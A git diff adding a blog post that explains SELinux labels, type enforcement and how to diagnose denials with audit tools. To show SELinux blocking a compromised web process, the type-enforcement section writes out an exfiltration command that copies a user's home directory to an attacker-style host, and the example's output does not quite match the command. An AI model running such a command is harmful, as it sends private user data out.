Create new post about SELinux

1 files changed, 78 insertions, 0 deletions

diff --git a/_posts/2021-09-07-Demystifying-SELinux.md b/_posts/2021-09-07-Demystifying-SELinux.md
new file mode 100644
index 0000000..eee52cb
--- /dev/null
+++ b/_posts/2021-09-07-Demystifying-SELinux.md
@@ -0,0 +1,78 @@
+---
+layout: post
+title: Demystifying SELinux
+---
+
+I think a lot of people involved in the Linux space, both devs and regular
+users, have a hard time with SELinux. Just last week I was showing some of my
+personal server's security to a colleague and I could see the look of sheer
+"This is above my pay-grade" all over his face.
+
+### Yes it's an NSA thing
+
+Before we go further, I have to answer one question: yes, it was developed by
+the NSA. As most security researchers and other people "in the know" have
+pointed out, [the NSA cannot be trusted with most things](https://www.eff.org/deeplinks/2012/07/why-nsa-cant-be-trusted-run-us-cybersecurity-programs).
+But this is one of several notable exceptions to that rule, and even Linus has
+defended them on this one.
+
+### Security Labels
+
+SELinux works by attaching "security labels" to files and directories on the
+file system as metadata. For instance doing a `ls -lZ` command on my web server
+home directory looks like this
+
+        # ls -lZ /var/www/*
+        drwxr-xr-x. 4 git  www-data system_u:object_r:httpd_sys_content_t:s0      4096 Nov 17  2020 2020
+        -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0      1654 Apr  6 14:52 404.html
+        -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0      2779 Apr  6 14:52 about.html
+        drwxr-xr-x. 6 git  www-data system_u:object_r:httpd_sys_content_t:s0      4096 Apr  6 14:52 assets
+        -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0     20564 Apr  6 14:52 feed.xml
+        -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0      2622 Apr  6 14:52 index.html
+        -rw-r--r--. 1 root root     unconfined_u:object_r:httpd_sys_content_t:s0   612 Jun 24 14:44 index.nginx-debian.html
+        drwxr-xr-x. 3 git  www-data system_u:object_r:httpd_sys_content_t:s0      4096 Apr  8  2020 oss
+        -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0      1890 Apr  6 14:52 projects.html
+
+As you can see, the security context is a colon-delimited list. The `system_u`,
+`object_r`, and `s0` parts aren't used in the targeted policy (which I use).
+Those are used in the multi-level security (MLS) policy, and it adds much more
+complexity than is required for most use cases. For the target policy only the
+"type" portion is ever used.
+
+These labels are attached to the file system on initial setup of SELinux by
+running `touch /.autorelabel` and making sure `security=selinux selinux=1` is
+appended to the kernel command line, see your bootloader documentation for that.
+You can change them either rerunning that command and rebooting or by using the
+`restorecon` or `chcon` commands, see the relevant manpage for details.
+
+### Type Enforcement
+
+This is where most people *really* start to get confused. On every access of
+any file in the file system, the kernel *still* checks UNIX permissions, i.e.
+the `rwx` bits in the file metadata. If the permission bits don't allow
+something, SELinux won't allow it either. Not very interesting, right? The
+interesting part begins when a user, `alice` has some data that might be
+classified or read-only and decides, maybe out of frustration, to `chmod 777`
+her entire home directory. Most Linux and Unix heads are probably exploding upon
+reading that, but this where SELinux can really save your bacon. Because when
+a system process has a vulnerability that allows arbitrary code execution and
+tries to run a shell command such as:
+
+        $ scp -r ~alice www.data-hack.net
+        cp: cannot stat '/home/alice': Permission denied
+
+This is due to the kernel detecting a type mismatch, i.e. it detects the
+process running with `httpd_t` cannot access files with the type `user_home_t`.
+
+In addition, all of these errors are logged by the audit daemon, `auditd` and
+placed in `/var/log/audit/audit.log` for you to examine later.
+
+### Fixing Errors
+
+The first step to take when fixing a permission error, and you *know* the
+permission bits are set correctly, is to check the audit logs with the command
+`ausearch -c <command_name> | audit2why`. This command string searches the audit
+logs for the command `<command_name>` and feeds the results into `audit2why`
+which translates them into a more human readable format. This command will tell
+you exactly what to do to fix the error, whether it be `setsebool -P <bool_name>`
+or `ausearch -c <command_name> | audit2allow -M <command_name>Local`.